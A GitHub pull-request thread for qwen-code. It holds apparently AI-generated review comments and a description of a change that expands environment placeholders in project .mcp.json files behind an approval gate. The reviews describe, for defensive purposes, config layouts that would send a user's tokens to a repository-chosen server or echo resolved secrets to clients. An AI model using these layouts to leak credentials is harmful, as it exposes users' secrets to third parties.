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| With `--yolo` nothing asks before a server connects, so `.mcp.json` placeholders are deliberately **not** expanded there: the placeholder is sent as written and a warning on stderr names the server. Bare mode and safe mode do not load `.mcp.json` at all. A server that needs its expanded value in a `--yolo` run belongs in `.qwen/settings.json`, which is resolved regardless of approval mode. |
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[Suggestion] R4-1: The new user-facing --yolo paragraph is wrong in two ways at once. It sends a --yolo user to the repository-shipped .qwen/settings.json — the one path the PR’s own design doc identifies as resolving and connecting with real secret values and no prompt at all — inside a section whose premise is that repository-supplied files are untrusted until approved. And it documents only the launch flag, omitting the mid-session mode switch that this same change makes destructive, which the design doc records as a known limitation and no user-read document mentions.
Exposure: a team hits the disclosed --yolo limitation in CI, reads this page, and moves {"httpUrl":"https://.../mcp","headers":{"Authorization":"Bearer ${MY_TOKEN}"}} from .mcp.json into the committed .qwen/settings.json. Per the design doc the entry now expands and connects on every clone with no approval gate — the exfil shape round 2 reported as a Critical, which this PR closed for .mcp.json and which qwen’s own documentation now recommends as the layout. Omission: a user boots an interactive session (gate armed), approves a .mcp.json server and connects it with resolved credentials, then cycles to YOLO with Shift+Tab or /approval-mode yolo. The next settings save — theme, model, anything, MCP-related or not — makes hot-reload.ts:152-183 recompute gateArmed from the live mode, re-assemble with { expandEnv: false }, find serversChanged true, and call reinitializeMcpServers(next): the working connection is torn down and remade with the literal placeholder, 401s, and stays broken until the mode is switched back and another reload runs. The only diagnostic is the loader’s stderr line; the TUI shows a disconnected server, and the paragraph offers only the --yolo-at-launch case plus a remedy that does not apply to a server that was already working.
Witness:
Probe on the real built registerMcpHotReload with one long-lived listener, an approval recorded against the expanded form, then the mode switched and an unrelated settings event fired:
EVENT 1 (approval mode = default)
header handed to reinitializeMcpServers: {"Authorization":"Bearer resolved-credential"}
EVENT 2 (same session, approval mode switched to yolo, unrelated settings save)
reinitializeMcpServers called again : true
header handed to reinitializeMcpServers: {"Authorization":"Bearer ${RAB_TOKEN}"}
pending : undefined
For the exposure half, the design doc states it at docs/design/2026-09-11-mcp-json-env-expansion.md:91: workspace-scope .qwen/settings.json servers "are resolved by loadSettings regardless of approval mode, so a gated workspace server connects with real values under --yolo". The same page already defines a non-repository file that satisfies the user’s goal: user scope, ~/.qwen/settings.json (mcp.md:53).
Name the user-scope file, or name both with the trust difference stated: "A server that needs its expanded value in a --yolo run belongs in your user settings (~/.qwen/settings.json), which is resolved regardless of approval mode and is not shipped with the repository. A project .qwen/settings.json is resolved the same way — but it is committed, so under --yolo it connects with real values and no approval prompt." Then add one sentence for the mid-session case: "Switching a running session to YOLO (/approval-mode yolo, Shift+Tab) has the same effect at the next settings reload: an already-connected .mcp.json server is reloaded with its placeholder as literal text and stops authenticating until you switch the mode back and settings are reloaded again."
A fix here must not violate: docs/users/features/mcp.md:53 — "- User scope (default): ~/.qwen/settings.json across all projects on your machine", and :54 — "- Project scope: .qwen/settings.json in your project root"; the reworded sentence must use those exact paths, since the bare .qwen/settings.json on this page already means project scope. docs/design/2026-09-11-mcp-json-env-expansion.md:100 — "Known limitation — a mid-session switch to YOLO. … Not fixed here."; the user-doc sentence must describe current behavior and not promise a fix the design deliberately declined.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| // Gate-off: the digest would be of the literal form. | ||
| throw RequestError.invalidParams( | ||
| undefined, | ||
| `MCP approval is off for this session; ${serverName} was not approved — ` + |
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[Suggestion] R4-2: Both gate-off refusal messages added this round (here and the OpenTUI twin at packages/cli/src/ui/opentui/dialog-data.ts:920-921) name qwen mcp approve as the remedy, but under a gate-off session that command cannot change what the server sends, so the only guidance the user gets points at a dead end and never names the actual determinant.
A daemon started with --yolo (or with tools.approvalMode: "yolo" persisted, which config.ts turns into YOLO with no flag) refuses workspaceMcpManage {action:"approve"} with "use qwen mcp approve". The user runs it; it succeeds, writing the EXPANDED digest (commands/mcp/approve.ts:26 assembles with the default expandEnv: true). Nothing changes: the gate-off session assembled its map with expandEnv: false, pendingMcpServers is undefined, and no read site consults the store, so the server keeps sending "Bearer ${MY_TOKEN}" and keeps 401ing — while the message asserts an action that has no effect on that session. The one diagnostic that does name the cause (mcpJson.ts’s "keeps its literal $ placeholders: the MCP approval gate is off (--yolo)") goes to the daemon’s stderr, not to the IDE or dialog user who received the refusal. That reproduces the linked issue’s own complaint — "surfacing only as Disconnected with nothing pointing at the cause" — on the path this fix added.
Witness:
Traced at the reviewed commit: packages/cli/src/commands/mcp/approve.ts:26 is `const all = assembleMcpServers(settings.merged.mcpServers, cwd);` with no options, so expandEnv defaults true and the CLI persists the expanded digest; the refusing session’s map was assembled with expandEnv: false (config.ts:2147), and acpAgent.ts:10229-10241 throws before any store write. The design doc records the outcome at docs/design/2026-09-11-mcp-json-env-expansion.md:87 — "That includes a server the user approved earlier with `qwen mcp approve`: under --yolo it also receives the literal, so the 401 of #11499 remains in the CI scenario where a checked-out repository is run headless." Linked-issue evidence (QwenLM/qwen-code#11499, fetched directly): observed payload headers.Authorization "Bearer ${MY_TOKEN}" received verbatim → 401 → "surfacing only as Disconnected with nothing pointing at the cause".
Say why approval is unavailable and what does work, in both messages, e.g. "MCP approval is off for this session (--yolo), so .mcp.json placeholders are not expanded and ${serverName} will connect with its literal values — run without --yolo, or move the server to ~/.qwen/settings.json. qwen mcp approve records an approval for sessions whose approval gate is armed."
A fix here must not violate: docs/design/2026-09-11-mcp-json-env-expansion.md:87 — a reworded message must not claim the CLI approval fixes the current gate-off session; and per :105 ("qwen mcp approve remains") it must not drop the command, which is still the way to record an approval a later gate-armed boot honours. docs/design/2026-09-11-mcp-json-env-expansion.md:116 already records the display-masking non-goal, so the message must not promise masking either.
Please confirm the fix by mutation — remove it and check that this goes red: acpAgent.test.ts "refuses to approve from a gate-off (YOLO) session" asserts .rejects.toThrow(/MCP approval is off for this session/) plus setState/approveMcpServerForSession not called; dialog-data.test.ts "approve is refused from a gate-off (YOLO) session" asserts result.message matches /Approval is off in this session/ and changed === false. Both were added this round — extend each regex to the new clause (e.g. /placeholders are not expanded/) so the wording itself is pinned and removing it reds the test.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| 'approve', | ||
| ); | ||
| expect(result.changed).toBe(false); | ||
| expect(result.message).toMatch(/Approval is off in this session/); |
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[Suggestion] R4-3: The gate-off refusal test witnesses the message and the session-level approval but not the invariant the guard exists for — that a gate-off session never writes the persisted approval store — so hoisting the store write above the guard leaves the whole suite green.
loadMcpApprovals is mocked at dialog-data.test.ts:1156-1166 as loadMcpApprovals: () => ({ setState: vi.fn(), getState: vi.fn(() => "pending") }) — a FRESH object per call — so no test can observe setState. Move the store write above the new guard (hoist const serverConfig = ...; const approvals = loadMcpApprovals(); await approvals.setState(...) before if (!isGateArmedFor(config)) return ..., keeping the early return and its message) and the whole suite stays green: changed is still false, the message still matches, and approveMcpServerForSession/discoverToolsForServer are still uncalled. The change then ships with "never write the store from a gate-off session" — the invariant the ink twin states at MCPManagementDialog.tsx:447 — unverified on the OpenTUI path, so a later refactor can silently reintroduce a persisted mcpApprovals.json record written from a --yolo session.
Witness:
Mutation pair on the unmodified tree: baseline `npx vitest run src/ui/opentui/dialog-data.test.ts` → 61 passed (61); with the store write hoisted above the guard → 61 passed (61), no test red. The mock shape is the reason: dialog-data.test.ts:1156-1166 returns a new `{ setState: vi.fn(), ... }` per call, so no handle exists to assert on.
Hoist one shared spy out of the module mock and assert on it: in the vi.mock("../../config/mcpApprovals.js", ...) factory return a module-level const mcpApprovalsSetState = vi.hoisted(() => vi.fn()) from setState, then add expect(mcpApprovalsSetState).not.toHaveBeenCalled(); to the refusal test — and, ideally, expect(mcpApprovalsSetState).toHaveBeenCalledWith("/proj","srv",{scope:"project"},"approved") to a new armed-path test, since applyMcpServerAction(...,"approve") currently has no success-path test in this file.
A fix here must not violate: stubConfig is return overrides as Config; (dialog-data.test.ts:131-133), so the stub only carries the keys each test lists — an armed-path test must set getApprovalMode (or omit it, since isGateArmedFor defaults undefined to armed) and must supply getToolRegistry/approveMcpServerForSession, because applyMcpServerAction calls config.getToolRegistry() un-optionally before the switch (dialog-data.ts:896).
Please confirm the fix by mutation — remove it and check that this goes red: dialog-data.test.ts "approve is refused from a gate-off (YOLO) session" — with the added assertion, moving approvals.setState(...) above the guard in dialog-data.ts must turn it red; today that mutation leaves it green.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| } | ||
| try { | ||
| if (!expandEnv && hasEnvPlaceholder(value as MCPServerConfig)) { | ||
| // Loaded as written; say so, or the only symptom is the 401 (#11499). |
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[Suggestion] R4-4: The new gate-off notice rides the loader’s errors channel, which assembleMcpServers writes to stderr on EVERY call — so it is re-emitted once per live Config per daemon reload, and once per settings-watcher event even when the edit is not MCP-related and the reconcile is about to bail.
qwen serve in a repo whose .mcp.json carries headers.Authorization "Bearer ${TOK}", sessions running YOLO: reloadWorkspaceMcpDiscovery iterates liveConfigs (root + every active session + the discovery Config, acpAgent.ts:4032-4071) and calls assembleMcpServers per Config, each re-reading the file and re-printing produces N+2 identical "Warning: .../.mcp.json: server "proj" keeps its literal $ placeholders..." blocks per reload. In the TUI, registerMcpHotReload assembles at hot-reload.ts:158-166, i.e. BEFORE the if (!serversChanged && !gatingChanged) ... return gate at :207-213, so a --yolo user who saves any unrelated setting (theme, model) gets the same warning printed into the transcript again although nothing was reconciled. In a CI log the one diagnostic that names the 401’s cause is repeated per session and per save.
Witness:
Probe through the real built loader and the real registerMcpHotReload listener: two consecutive settings events with no MCP-relevant change each printed the full notice again, and a daemon reload with 3 live Configs printed it 3 times. The emit site is unconditional — mcpJson.ts:210-217 pushes to `errors`, and mcpServers.ts forwards projectResult.errors to assembleMcpServers’ stderr writer on every call, with no deduplication and no regard for whether the caller proceeds.
Let the reload paths buffer the loader’s warnings and print them only when the reload actually proceeds — e.g. add quiet?: boolean (or an onErrors callback) to assembleMcpServers/LoadProjectMcpServersOptions, have registerMcpHotReload and reloadWorkspaceMcpDiscovery collect the returned lines and emit them once after the "no MCP-relevant change" gate (and once per reload round, not per Config).
A fix here must not violate: packages/cli/src/config/hot-reload.ts:207-213 — the if (!serversChanged && !gatingChanged) early return sits AFTER the assemble at :158-166, so buffering must happen at the assemble call and be flushed after that gate, not inside the loader. The notice must still fire at least once per reload that proceeds, or the #11499 diagnostic this round added (and R3-11’s fix) is lost.
Please confirm the fix by mutation — remove it and check that this goes red: packages/cli/src/config/hot-reload.test.ts — extend the new "expands .mcp.json placeholders only while the approval gate armed (%s)" YOLO case with a second listener([]) fire on an MCP-irrelevant edit and assert the warning was written once, not twice (spy on writeStderrLine); it reds against the current code, which writes on both fires.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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| const handleApprove = useCallback(async () => { | ||
| if (!config || !selectedServer) return; | ||
| // Never write the store from a gate-off session. |
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[Suggestion] R4-6: The ink dialog’s Approve write-refusal is the only one of the eight isMcpApprovalGateArmed guard sites added by this change with no test; its two sibling write guards each got one in this same diff.
Delete the guard and no test in the repository goes red — MCPManagementDialog.test.tsx contains exactly one gate test ("does not read or show approval state from a gate-off (YOLO) session", lines 51-81), which drives only the READ path, and no other test file renders this dialog. The two comparable write sites are pinned: dialog-data.test.ts "approve is refused from a gate-off (YOLO) session" and acpAgent.test.ts "refuses to approve from a gate-off (YOLO) session". Unguarded, handleApprove calls loadMcpApprovals().setState(...) with selectedServer.config from the snapshot taken at mount, so a session whose approval mode flipped to YOLO after the dialog opened (the servers state is fetched once at :202-220 and refreshed only by reloadServers at :380-391; nothing re-fetches on an approval-mode change) persists an approval record from a gate-off Config — the exact write the design doc’s section 5 says the two write sites refuse. What remains unconfirmed is a user-reachable key path for flipping the mode while this modal is open: ServerDetailStep.tsx:116 only pushes the approve row when awaitingApproval, which the read guard suppresses for a gate-off Config from mount.
Witness:
Mutation pair, in-memory over unmodified worktree source:
BASELINE MUT_MODE=none vitest run src/ui/components/mcp/MCPManagementDialog.test.tsx → 2 passed (2)
MUTANT MUT_MODE=write-guard-off (the whole `// Never write the store from a gate-off session.` + `if (!isMcpApprovalGateArmed(…)) { return; }` block deleted) → 2 passed (2) ← nothing goes red
POSITIVE CONTROL MUT_MODE=read-guard-off (`const approvals = isMcpApprovalGateArmed(…) ? loadMcpApprovals() : undefined;` → `const approvals = loadMcpApprovals();`)
× does not read or show approval state from a gate-off (YOLO) session
AssertionError: expected '╭───…' not to contain 'needs approval' ← same harness DOES detect a guard removal
Enumeration: MCPManagementDialog is rendered in exactly two places repo-wide (MCPManagementDialog.test.tsx:40/60/69 and DialogManager.tsx:528), and DialogManager.test.tsx has zero matches for mcp|Mcp|MCP.
Add a case to MCPManagementDialog.test.tsx that renders with a mutable mode (let mode = "default"; getApprovalMode: () => mode), waits for "needs approval", flips mode = "yolo", drives the Approve action, and asserts the store was not written. The mocked loadMcpApprovals at lines 53-55 returns only { getState }, so the mock must also expose setState: vi.fn() for the assertion to have something to count. If instead the guard is judged unreachable, remove it and correct the design doc’s claim that the dialogs’ Approve action refuses.
A fix here must not violate: The existing read-side assertions in the same file must still hold — MCPManagementDialog.test.tsx:78 expect(yolo.lastFrame()).not.toContain("needs approval"); and :79 expect(getState).toHaveBeenCalledTimes(1);. A new test that renders a gate-off dialog and expects an Approve row would contradict the first; one that leaves the shared getState mock counting across renders would contradict the second.
Please confirm the fix by mutation — remove it and check that this goes red: packages/cli/src/ui/components/mcp/MCPManagementDialog.test.tsx — a new "refuses to approve from a gate-off (YOLO) session" case asserting setState was not called. It must go RED if the !isMcpApprovalGateArmed(...) return; block at MCPManagementDialog.tsx:448-456 is deleted; measured today, deleting it leaves 2 passed (2).
— qwen3.8-max via Qwen Code /review (v0.23.3)
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| **Known limitation — a mid-session switch to YOLO.** A session that booted gate-armed, approved a server and connected it with resolved credentials, then switches to YOLO (`/approval-mode yolo`, Shift+Tab cycling, ACP `session/set_mode`), rewrites that server to the literal form on the next settings reload — any edit, MCP-related or not: the transport fingerprint changes, the connection is torn down and re-made with the placeholder, and the server 401s until the mode is switched back and reloaded; the loader's warning names it on stderr. Not fixed here. Deciding expansion once per session would re-open the hole this section closes for a server added to `.mcp.json` after the switch — it would expand and connect with nobody asked; keeping already-resolved entries is a per-entry merge with no criterion for matching a resolved entry to its unresolved successor. Same limitation, per Config, in a daemon: sessions that disagree on approval mode each assemble their own map, so one `.mcp.json` server can hold two connections with different credentials. | ||
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| **The approval store is read and written only from a gate-armed Config.** The store is one record per workspace and the digest is of the config as the session holds it; a gate-off session holds `.mcp.json` unexpanded, so its digest never matches an approval recorded from the expanded form. Unguarded, a `--yolo` daemon or TUI session reported an approved server as pending and, on approve, persisted the literal digest, which every gate-armed boot then rejected (the automated review of 2026-09-11 on `e1aa3572e4` measured a 4/4 ping-pong between a `--yolo` daemon and the CLI). The three read sites — daemon workspace status, ink `/mcp` dialog, OpenTUI dialog data — therefore report no approval state from a gate-off Config, and the two write sites — the daemon `workspaceMcpManage approve` endpoint and the dialogs' Approve action — refuse. Canonicalising to the expanded form instead would expand `.mcp.json` under `--yolo` for the hash, the action this section exists to avoid, and would show the user a literal while binding to the expanded value. `qwen mcp approve` keeps hashing the expanded form: narrowing it would invalidate every store already written. Cost: under `--yolo` there is no pre-approval from the `/mcp` dialog or the daemon endpoint — `qwen mcp approve` remains — and a daemon started in YOLO shows the IDE no approval state, which under YOLO does not affect connection anyway. |
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[Suggestion] R4-7: The design doc states the approval-store invariant as absolute ("read and written only from a gate-armed Config") and enumerates its access points exhaustively — three reads, two writes — but a sweep finds 14 sites in 9 files. Ungated by isMcpApprovalGateArmed and unnamed by the doc: packages/cli/src/ui/hooks/useMcpApproval.ts:84 (read) and :143/:155/:163 (writes), plus packages/cli/src/config/hot-reload.ts:226, which reaches loadMcpApprovals() through getPromptableMcpServers BEFORE the if (gateArmed && promptable.length > 0) emit guard at :263.
Run qwen --yolo in a repository that ships a .mcp.json, then edit that file (or any MCP-relevant settings key). The listener passes the serversChanged/gatingChanged gate and reaches getPromptableMcpServers(next, cwd), which calls loadMcpApprovals() and hashes the UNEXPANDED entries against the stored expanded digests — the store is read from a gate-off Config, contradicting the paragraph’s absolute claim, and every entry comes back "pending". Nothing prompts today only because the emit is separately guarded. Independently of that window, useMcpApproval.ts:82 gates on config.getApprovalMode() === ApprovalMode.YOLO only — bare/safe are not consulted — and the hook is mounted unconditionally at ui/AppContainer.tsx:3894, so the interactive startup path on every boot uses its own YOLO-only condition rather than the shared predicate. Doc cost: §5 advertises a condition that "lives in one place … cannot drift" plus a closed site list, so a maintainer adding a fourth gate input updates the predicate and the guarded sites and gets no signal that the path running on every interactive boot still uses its own condition.
Witness:
Sweep of every production site reaching the store (loadMcpApprovals() / getPromptableMcpServers( / getPendingGatedMcpServers(, tests and mcpApprovals.ts itself excluded): 14 sites in 9 files, against the doc’s 3 reads + 2 writes. Probe — drove the real built registerMcpHotReload with a gate-off (YOLO) Config and a deliberately corrupt approvals file:
ARM A: gate OFF (yolo), corrupt approvals file present
Warning: …/.mcp.json: server "proj" keeps its literal $ placeholders…
Warning: MCP approvals file error: Expected ',' or '}' after property value in JSON at position 23
ARM B (control): gate OFF (yolo), approvals path points at a NONEXISTENT file
Warning: …/.mcp.json: server "proj" keeps its literal $ placeholders… ← no approvals-file warning
ARM B is the discriminator: that warning is emitted only from loadMcpApprovals()’s error branch (mcpApprovals.ts:275), so its appearance in ARM A proves a gate-off Config opened the file.
Either migrate the hook to the shared predicate — if (!isMcpApprovalGateArmed(config.getBareMode(), config.isSafeMode(), config.getApprovalMode())) return []; in computePending, plus the same guard at the top of handleMcpApprovalSelect before any setState — or name useMcpApproval.ts and hot-reload.ts:226 in both design docs as additional read/write sites and record why their YOLO-only, queue-time check is sufficient there. Either way, drop the absolute "only from a gate-armed Config" wording or make it true.
A fix here must not violate: packages/cli/src/config/hot-reload.ts:264 — if (gateArmed && promptable.length > 0) {, the only non-test emitter of AppEvent.McpPendingApprovalChanged; a fix that relies on a reload event to clear or re-check a stale queue will never fire under a gate-off reload. Two corrections to the finder’s framing, so the author is not sent after the wrong thing: useMcpApproval.ts:163 is NOT the only writer of "rejected" (commands/mcp/approve.ts:71 writes it too, via qwen mcp reject), and the rejected-goes-dark consequence is NOT reachable today from a gate-off Config — under YOLO computePending returns [] at :82, under bare/safe the assembled map holds only never-gated top-tier servers, and handleMcpApprovalSelect bails at if (!current) return;. It is a future-refactor cost, which is consistent with Suggestion severity.
Please confirm the fix by mutation — remove it and check that this goes red: For the code variant, packages/cli/src/ui/hooks/useMcpApproval.test.ts needs a case asserting an empty queue and zero setState calls for a Config whose getBareMode()/isSafeMode() is true, and one asserting handleMcpApprovalSelect does not write when the live mode turned YOLO after the queue was built; the existing event-driven cases pin only the approval-mode half, so removing either new guard leaves the suite green. For the docs-only variant: N/A.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| settings.systemDefaults?.settings.mcpServers ?? {}; | ||
| const servers = config.getMcpServers() ?? {}; | ||
| const approvals = loadMcpApprovals(); | ||
| // Gate-off Configs hold `.mcp.json` unexpanded: their digest cannot match the store. |
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[Suggestion] R4-8: buildWorkspaceMcpStatus was made gate-aware for approval state at this guard, but the same function still echoes each server’s RESOLVED command / args / httpUrl / url / cwd into the status payload unconditionally (out.config, acpAgent.ts:6945-6983), so an unapproved repository-supplied .mcp.json server has its placeholders resolved from the user’s environment and shipped to every status consumer. The design doc’s recorded non-goal names only qwen mcp list (docs/design/2026-09-11-mcp-json-env-expansion.md:116), so this sink is outside the deferral; it is also a wider sink than stdout, crossing a JSON-RPC/HTTP boundary (serve/workspace-service/index.ts:440) to an IDE client or a browser-served web-shell that renders and may log it.
A gate-armed qwen serve in a freshly cloned repo whose .mcp.json declares {"proj":{"command":"npx","args":["-y","some-mcp","--token","${GITHUB_TOKEN}"]}}. This diff makes the loader resolve args at assembly time; pendingMcpServers contains "proj", so it never connects — but a client call to SERVE_STATUS_EXT_METHODS.workspaceMcp returns approvalState: "pending" TOGETHER WITH config.args: ["-y","some-mcp","--token","ghp_"]. The IDE client / web-shell dashboard receives, renders and logs a secret value selected by the repository, for a config the user has not consented to. At the merge base the same field carried the inert literal ${GITHUB_TOKEN}. headers and env are not echoed, so the #11499 Authorization shape is unaffected; the exposure is the args / url / httpUrl / command / cwd shapes. Scope note: for workspace-scope .qwen/settings.json servers this echo was already resolved pre-PR — the new part is the project scope this PR declares untrusted-until-approved.
Witness:
Probe against the real built loader at default options (what a gate-armed boot/reload feeds getMcpServers()):
ARM 1: gate ARMED (default options) → "args": ["--token", "set-secret-value"] ← resolved
ARM 2: gate OFF ({expandEnv:false}) → "args": ["--token", "${RAF_SET_TOKEN}"]
The echo itself is a straight-line unconditional copy inside one loop iteration, with no branch between the approvalState computation and out.config:
const candidate = server as { command?: unknown; args?: unknown; httpUrl?: unknown; url?: unknown; cwd?: unknown };
… if (Array.isArray(candidate.args)) { … serverConfig.args = args; }
… if (Object.keys(serverConfig).length > 0) { out.config = serverConfig; }
Pending gated project servers do reach this payload: the diff’s own new test asserts status.servers.map(s => s.name)).toEqual(['proj']) with approvalState: 'pending'. witness: not run for the payload half — the nearest capability was `review drive` against qwen serve plus the workspace-qualified REST status route, which needs a serve token, a registered workspace and a live ACP child, not stood up inside the shard’s budget.
Build out.config from the pre-expansion entry, or omit/redact it when the server is gated and its approvalState is not "approved" — the value the function already computes in the if (approvals && isGatedMcpScope(server.scope)) block about 100 lines above. If the author prefers to defer, add the daemon status payload to the same non-goal/follow-up entry as qwen mcp list so the shared-display-path rule is written to cover both sinks.
A fix here must not violate: The digest must stay the digest of the RESOLVED config — packages/cli/src/commands/mcp/approve.test.ts ("hashes the resolved config: rotating a referenced variable, file untouched, reverts to pending") pins that, and docs/design/2026-09-11-mcp-json-env-expansion.md:89 states that narrowing expansion on these paths "would silently invalidate every approval taken at a normal boot". Redact on the way OUT of the status payload; do not stop expanding the map the status reads.
Please confirm the fix by mutation — remove it and check that this goes red: A buildWorkspaceMcpStatus case in packages/cli/src/acp-integration/acpAgent.test.ts beside the new "refuses to approve from a gate-off (YOLO) session" test: put a scope: "project" server with args: ["--token","${WS_STATUS_TOKEN}"] in mockConfig.getMcpServers(), leave mockMcpApprovals.getState at "pending", call SERVE_STATUS_EXT_METHODS.workspaceMcp, and assert the returned config.args still holds the literal ${WS_STATUS_TOKEN}. Removing the redaction branch turns it red.
— qwen3.8-max via Qwen Code /review (v0.23.3)
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| // Gate-off Configs hold `.mcp.json` unexpanded: their digest cannot match the store. | ||
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| ['yolo', undefined, 0], |
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[Suggestion] R4-9: The new daemon workspace-status read-guard test parametrizes only getApprovalMode, so the bareMode / safeMode inputs of isMcpApprovalGateArmed at the guard it witnesses (acpAgent.ts:6739-6745) are unpinned at this call site — and the invariant those two inputs exist for here is not the approval state but that a safe-mode daemon never touches local ambient state at all, not even a read with no behavioural effect.
A future edit — including a fix round for the already-filed R3-1, whose premise is that these guards key on the live approval mode — narrows this call site to config.getApprovalMode() !== ApprovalMode.YOLO. Both existing rows stay green (yolo still records 0 getState calls, default still records 1), so the suite passes. A safe-mode qwen serve then calls loadMcpApprovals() on every workspaceMcp status request: it opens ~/.qwen/mcpApprovals.json, caches it in the module-level loader, and surfaces a parse error as a warning — exactly the ambient local-state access safe mode exists to prevent.
Witness:
witness: not run — the settling run is the mutation (narrow acpAgent.ts:6739-6745, re-run the two it.each rows, observe both green); it needs an editable tree, and `review scratch-tree` returned available: false (the repo-local git config carries an unresolvable includeIf git-credentials include) while editing the shared review worktree is prohibited. The rows’ inputs are pinned constants, so the outcome is determined by inspection: acpAgent.test.ts:6150-6151 is `['yolo', undefined, 0]` / `['default', 'pending', 1]`, and the shared base mock at :2288 pins the predicate’s other two inputs to constants — `getBareMode: vi.fn().mockReturnValue(false)`, `isSafeMode: vi.fn().mockReturnValue(false)` — which no row overrides. mcpApprovals.test.ts:635-652 pins the predicate’s truth table, not this call site.
Add safe-mode and bare-mode rows to the it.each (each expecting 0 getState calls), and make the module mock at acpAgent.test.ts:183 a hoisted vi.fn() — it is currently loadMcpApprovals: () => mockMcpApprovals,, a plain arrow, so it cannot be asserted on today. One correction to the finder’s framing: asserting on getState alone CAN see a suppressed read (that is what the yolo row already proves); the real gap is narrower and still valid — without a safe/bare row, nothing pins WHICH input of the predicate suppresses the read.
A fix here must not violate: packages/cli/src/config/config.ts:2150-2156 — the boot path deliberately returns no gated servers under bare/safe on the stated principle that "safe mode shouldn’t touch local/ambient state at all, not even a read with no behavioral effect"; a test row that only checks approvalState would not pin that. acpAgent.test.ts:2288 pins getBareMode/isSafeMode to false for the whole describe block, so new rows must override them per row.
Please confirm the fix by mutation — remove it and check that this goes red: packages/cli/src/acp-integration/acpAgent.test.ts — new safe-mode and bare-mode rows asserting 0 getState calls. Narrowing the guard at acpAgent.ts:6739-6745 to config.getApprovalMode() !== ApprovalMode.YOLO must turn them red.
— qwen3.8-max via Qwen Code /review (v0.23.3)
| } from '../../config/mcpApprovals.js'; | ||
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| /** Gate-armed check tolerant of the partial `Config` stubs this module sees. */ | ||
| function isGateArmedFor(config: Config): boolean { |
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[Suggestion] R4-10: The new gate helper is the only one of the PR’s store guards that reads its three predicate inputs through optional calls with fail-open defaults, and it exists purely to accommodate this file’s bare-cast test stubs — so a Config-shaped value missing any leg is silently treated as gate-ARMED, and neither mode leg is exercised by any test in the file. The ink twin solved the identical stub problem on the test side instead (MCPManagementDialog.test.tsx:31-33 supplies getApprovalMode/getBareMode/isSafeMode), which is why MCPManagementDialog.tsx:87 calls the predicate strictly.
stubConfig is function stubConfig(overrides: Partial<Config>): Config { return overrides as Config; } (dialog-data.test.ts:131-133) — no defaults — so all 61 tests evaluate config.getBareMode?.() ?? false and config.isSafeMode?.() ?? false to false and reach the predicate with only the YOLO leg populated. Deleting those two legs (or narrowing the helper to config.getApprovalMode?.() !== ApprovalMode.YOLO) leaves the suite green, and nothing pins them. Second, the defaults point the permissive way for the guard whose whole job is to refuse: isMcpApprovalGateArmed(false, false, undefined) returns true (mcpApprovals.ts:34-39), so any caller handing enrichMcpOAuthState / applyMcpServerAction an object without getApprovalMode reads the store and writes an approval with no compile error and no red test. The untested branch is live production behaviour, not a hypothetical: nothing on the OpenTUI path blocks bare/safe mode from the dialog (mcpCommand.ts:48 opens dialog: "mcp"; no getBareMode/isSafeMode check in opentui-app-shell.tsx or opentui-dialog-mount.tsx), so a bare-mode session reaching isGateArmedFor takes the getBareMode() leg at dialog-data.ts:65-70 and refuses at :917 — with no test.
Witness:
Equivalence sweep with the real predicate (packages/cli/dist/src/config/mcpApprovals.js) over the only inputs the test file can build:
stub with no gate methods at all isGateArmedFor = true narrowed mutant = true indistinguishable = true
stub with getApprovalMode: () => "yolo" isGateArmedFor = false narrowed mutant = false indistinguishable = true
mode = plan/default/auto-edit/auto/yolo/undefined full vs narrowed: equal=true at every value
-> legs are unobservable in that suite: true
fail-open check: isMcpApprovalGateArmed(undefined, undefined, undefined) = true
baseline green, unmodified: ✓ src/ui/opentui/dialog-data.test.ts (61 tests) → Tests 61 passed (61)
getBareMode/isSafeMode appear ZERO times in dialog-data.test.ts and zero times in opentui-dialog-mount.test.tsx (the only two test files touching these functions); getApprovalMode appears only at :1148 and :1215, both "yolo". The mutant itself was not run — scratch-tree was unavailable, so no source edit was possible; the equivalence was measured with the real predicate over the file’s only constructible inputs instead.
Delete isGateArmedFor and call isMcpApprovalGateArmed(config.getBareMode(), config.isSafeMode(), config.getApprovalMode()) at dialog-data.ts:832 and :917 (matching MCPManagementDialog.tsx:87), and move the accommodation into the test: stubConfig returns { getBareMode: () => false, isSafeMode: () => false, getApprovalMode: () => ApprovalMode.DEFAULT, ...overrides } as Config. This also removes the function declaration that currently sits between two import groups.
A fix here must not violate: stubConfig(overrides: Partial): Config { return overrides as Config; } (dialog-data.test.ts:131-133) backs every config-taking test in the file, so the defaults must be spread BEFORE overrides: :1122-1126 and :1144-1148 override getMcpServers/getWorkingDir, and :1148 / :1215 override getApprovalMode with () => "yolo", and those must keep winning. All three methods are required on core Config (packages/core/src/config/config.ts:7186, :8838, :8846) and the only production callers pass a real Config (opentui-dialog-mount.tsx:146/155/161 ← opentui-app-shell.tsx:787), so strictness costs nothing in production.
Please confirm the fix by mutation — remove it and check that this goes red: dialog-data.test.ts:1137 "leaves approvalState unset from a gate-off (YOLO) session" and :1207 "approve is refused from a gate-off (YOLO) session" must stay green after the switch to strict calls; with the strict form, dropping a leg or removing the stub defaults throws TypeError: config.getBareMode is not a function in both, so they go red instead of silently reading as armed.
— qwen3.8-max via Qwen Code /review (v0.23.3)
5 participants
What this PR does
Project
.mcp.jsonentries now expand$VAR/${VAR}before a server config is normalized, hashed for approval, or connected, using the same resolver every settings scope uses. An unset variable keeps its literal placeholder rather than collapsing to an empty string, and the resolver's internal-secret guard still refuses to substitute Qwen's own secret env vars into a repository-supplied file.Since the first review round the PR also:
--mcp-config, closing the same 401 on that path (with one intended difference in coverage — see the design doc, section 1);.mcp.jsonserver entry may nest, reporting an over-deep entry through the loader's existingerrorscollection instead of overflowing the stack;--yolo, because then nothing shows the user the server before it connects, and says so with a stderr warning naming the server;--yolosession can neither misreport an approved server as pending nor persist a digest of the unexpanded config;.mcp.jsonfor users (docs/users/features/mcp.md) and records the design indocs/design/(English and Simplified Chinese).Why it's needed
.mcp.jsonis checked into the repository, so referencing a secret by name is the only safe way to configure an authenticated server — but the placeholder was sent verbatim. A server configured with"Authorization": "Bearer ${MY_TOKEN}"received the headerAuthorization: Bearer ${MY_TOKEN}and answered 401, surfacing only as "Disconnected" with nothing pointing at the cause.This is an inconsistency inside qwen-code rather than a new feature: the byte-identical server entry expands from
